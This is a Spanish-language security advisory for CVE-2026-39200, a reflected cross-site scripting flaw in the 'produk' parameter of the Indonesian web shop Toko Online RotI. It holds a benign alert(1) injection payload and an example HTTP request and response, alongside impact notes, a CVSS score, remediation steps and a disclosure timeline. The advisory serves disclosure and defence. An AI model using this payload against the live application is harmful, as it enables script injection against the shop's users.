El valor del parámetro de solicitud `produk` se copia en el valor de un atributo de etiqueta HTML que está encapsulado entre comillas dobles. El payload `xbnw0"><script>alert(1)</script>skc2h` fue enviado en el parámetro `produk`. Esta entrada se reflejó como `xbnw0\"><script>alert(1)</script>skc2h` en la respuesta de la aplicación.
Se identificó una vulnerabilidad de Cross-Site Scripting (XSS) reflejado en el parámetro de solicitud produk de la aplicación web Toko Online RotI. La aplicación no codifica en HTML la entrada proporcionada por el usuario antes de reflejarla dentro de un atributo de etiqueta HTML que está encapsulado entre comillas dobles. Un atacante puede crear una URL maliciosa que, al ser visitada por una víctima, ejecuta JavaScript arbitrario en el contexto de la sesión del navegador de la víctima.
| Campo | Valor |
|---|
| ID CVE | CVE-2026-39200 |
| Tipo de Vulnerabilidad | CWE-79 — Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web (XSS Reflejado) |
| Producto Afectado | Toko Online RotI (tienda online indonesia) |
| Parámetro Afectado | produk |
| Descubridor | Uzair Ali (r00tali) — Probador de Penetración / Cazador de Bug Bounties |
| Fecha de Descubrimiento | 2026-07-03 |
| CVE Asignado | 2026-07-12 |
| Aviso Publicado | 2026-07-19 |
El parámetro de solicitud produk se copia textualmente dentro del valor de un atributo de etiqueta HTML encerrado entre comillas dobles. Debido a que la aplicación no codifica en HTML la entrada proporcionada por el usuario antes de reflejarla, un atacante puede salir del atributo enviando un payload que contenga una comilla doble de cierre seguida de un payload HTML/JavaScript.
xbnw0"><script>alert(1)</script>skc2h
Cuando este payload se envía como el parámetro produk, la aplicación devuelve la entrada en la respuesta sin escapar. El "> de cierre termina el atributo original, y el bloque inyectado <script>alert(1)</script> es interpretado por el navegador como un nuevo elemento HTML, ejecutando JavaScript arbitrario en la sesión del usuario.
La respuesta HTML vulnerable se ve así:
<!-- ANTES de la inyección -->
<input type="text" name="produk" value="USER_INPUT" />
<!-- DESPUÉS de la inyección con el payload xbnw0"><script>alert(1)</script>skc2h -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
^^^^^^^^^^^^^^^^^^^^^^^^
El navegador ejecuta esto
GET /[endpoint-vulnerable]?produk=xbnw0%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Eskc2h HTTP/1.1
Host: [host-objetivo]
User-Agent: Mozilla/5.0
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<html>
<body>
<!-- ... -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
<!-- ... -->
</body>
</html>
produk dentro de un atributo HTML (por ejemplo, una página de búsqueda, detalle o filtro de productos).produk con el siguiente payload:
xbnw0"><script>alert(1)</script>skc2h
" y produciendo un elemento <script> válido en el DOM.alert(1), confirmando la ejecución de JavaScript arbitrario en la sesión de la víctima.Una explotación exitosa de este XSS reflejado permite a un atacante:
Debido a que la vulnerabilidad es reflejada, la explotación solo requiere que una víctima haga clic en un enlace manipulado, lo que la hace trivialmente armable en campañas de phishing.
CVSS v3.1 (estimado): 6.1 (Medio) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Para remediar esta vulnerabilidad, el proveedor debería:
<, >, ", ' y & (por ejemplo, <, >, ", ', &).htmlspecialchars($input, ENT_QUOTES, 'UTF-8')HttpUtility.HtmlEncode(input) o sintaxis <%: %>{{ input }} (escapado automático por defecto)Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
HttpOnly y Secure en todas las cookies de sesión para evitar que JavaScript las lea.produk contra una lista blanca de identificadores de producto esperados (IDs numéricos, slugs, etc.) y rechazar cualquier cosa que no coincida.X-Content-Type-Options: nosniff para evitar la detección de tipo MIME de los cuerpos de respuesta.| Fecha | Evento |
|---|---|
| 2026-07-03 | Vulnerabilidad descubierta durante pruebas de seguridad autorizadas |
| 2026-07-03 | ID CVE solicitado a MITRE a través de cveform.mitre.org |
| 2026-07-12 | CVE-2026-39200 asignado por el Equipo de Asignación de MITRE |
| 2026-07-19 | Aviso público publicado |
** Uzair Ali (r00tali)** — Probador de Penetración / Cazador de Bug Bounties / Investigador de Seguridad
Este aviso se publica únicamente con fines educativos y defensivos. La vulnerabilidad se reportó a través del proceso de divulgación responsable mediante el Equipo de Asignación de CVE de MITRE. No se divulga información confidencial del proveedor, datos de clientes ni código propietario. La prueba de concepto utiliza un payload benigno alert(1) y tiene como objetivo demostrar la existencia del error, no facilitar ataques contra el servicio en vivo.